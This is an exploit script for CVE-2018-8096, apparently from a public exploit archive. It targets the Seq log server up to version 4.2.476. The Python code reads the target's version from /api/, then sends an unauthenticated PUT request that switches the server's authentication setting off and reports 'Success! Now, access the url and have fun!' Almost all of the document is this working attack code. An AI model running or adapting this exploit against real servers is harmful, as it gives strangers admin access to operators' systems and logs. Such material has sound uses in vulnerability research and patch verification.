# Exploit Title: Seq 4.2.476 - Authentication Bypass # Date: 2018-08-02 # Exploit Author: Daniel Chactoura # Vendor Homepage: https://getseq.net/ # Software Link: https://getseq.net/Download/All # Version: <= 4.2.476 # CVE : CVE-2018-8096 # Post Reference: https://medium.com/stolabs/bypass-admin-authentication-on-seq-17f0f9e02732 # coding=utf-8 #!/bin/python import sys import requests def verifyArgs(args): if len(args) < 2: print('[!] Usage: '+str(args[0])+' https://target') exit(0) elif 'http' not in str(args[1]): print('''[!] Missing "https://" !''') exit(0) else: return(1) def verifyVersion(url): vulnVersions = ['4.2.476','4.2.470','4.1.17','4.1.16', '4.1.14','4.0.60','4.0.58','3.4.20', '3.4.18','3.4.17','3.3.23','3.3.22', '3.3.21','3.3.20','3.2.16','3.1.17', '3.1.16','3.0.30','2.4.2','2.3.4', '2.3.3','2.2.8','2.1.22','2.1.21', '2.0.19','1.6.13','1.6.12','1.6.11', '1.6.10','1.6.9','1.6.8','1.6.7', '1.6.6','1.6.5','1.6.4','1.5.19', '1.5.18','1.5.17','1.5.16','1.4.12', '1.4.11','1.4.10','1.4.9','1.4.8', '1.4.7','1.4.6','1.3.11','1.3.10', '1.3.9','1.3.8'] u = str(url) verifV = requests.get(u+'/api/') verifVJSON = verifV.json() ver = str(verifVJSON['Version'])[:-2] if ver in vulnVersions: print("[+] Seq's version is potentially vulnerable!") return(1) else: print("[!] Seq's version is probably not vulnerable!") return(0) def bypassAuth(url): u = str(url) payload = "{'Name':'isauthenticationenabled','Value':false,'Id':'setting-isauthenticationenabled','Links':{'Self':'api/settings/setting-isauthenticationenabled','Group':'api/settings/resources'}}" h = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', 'Referer':u} verifM = requests.put(u+'/api/settings/setting-isauthenticationenabled', data=payload, headers=h) verifMCode = str(verifM.status_code) if verifMCode == '200': print("[:)] YES! Success! Now, access the url and have fun!") else: print("[:(] DAMN! This is not your lucky day...") def main(): try: if verifyArgs(sys.argv): if verifyVersion(sys.argv[1]): bypassAuth(sys.argv[1]) else: c = input('[?] Do you want to try it anyway? (y/n): ').lower() if c == 'y': pass elif c == 'n': exit(0) else: print('[!] Invalid choice!') exit(0) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main()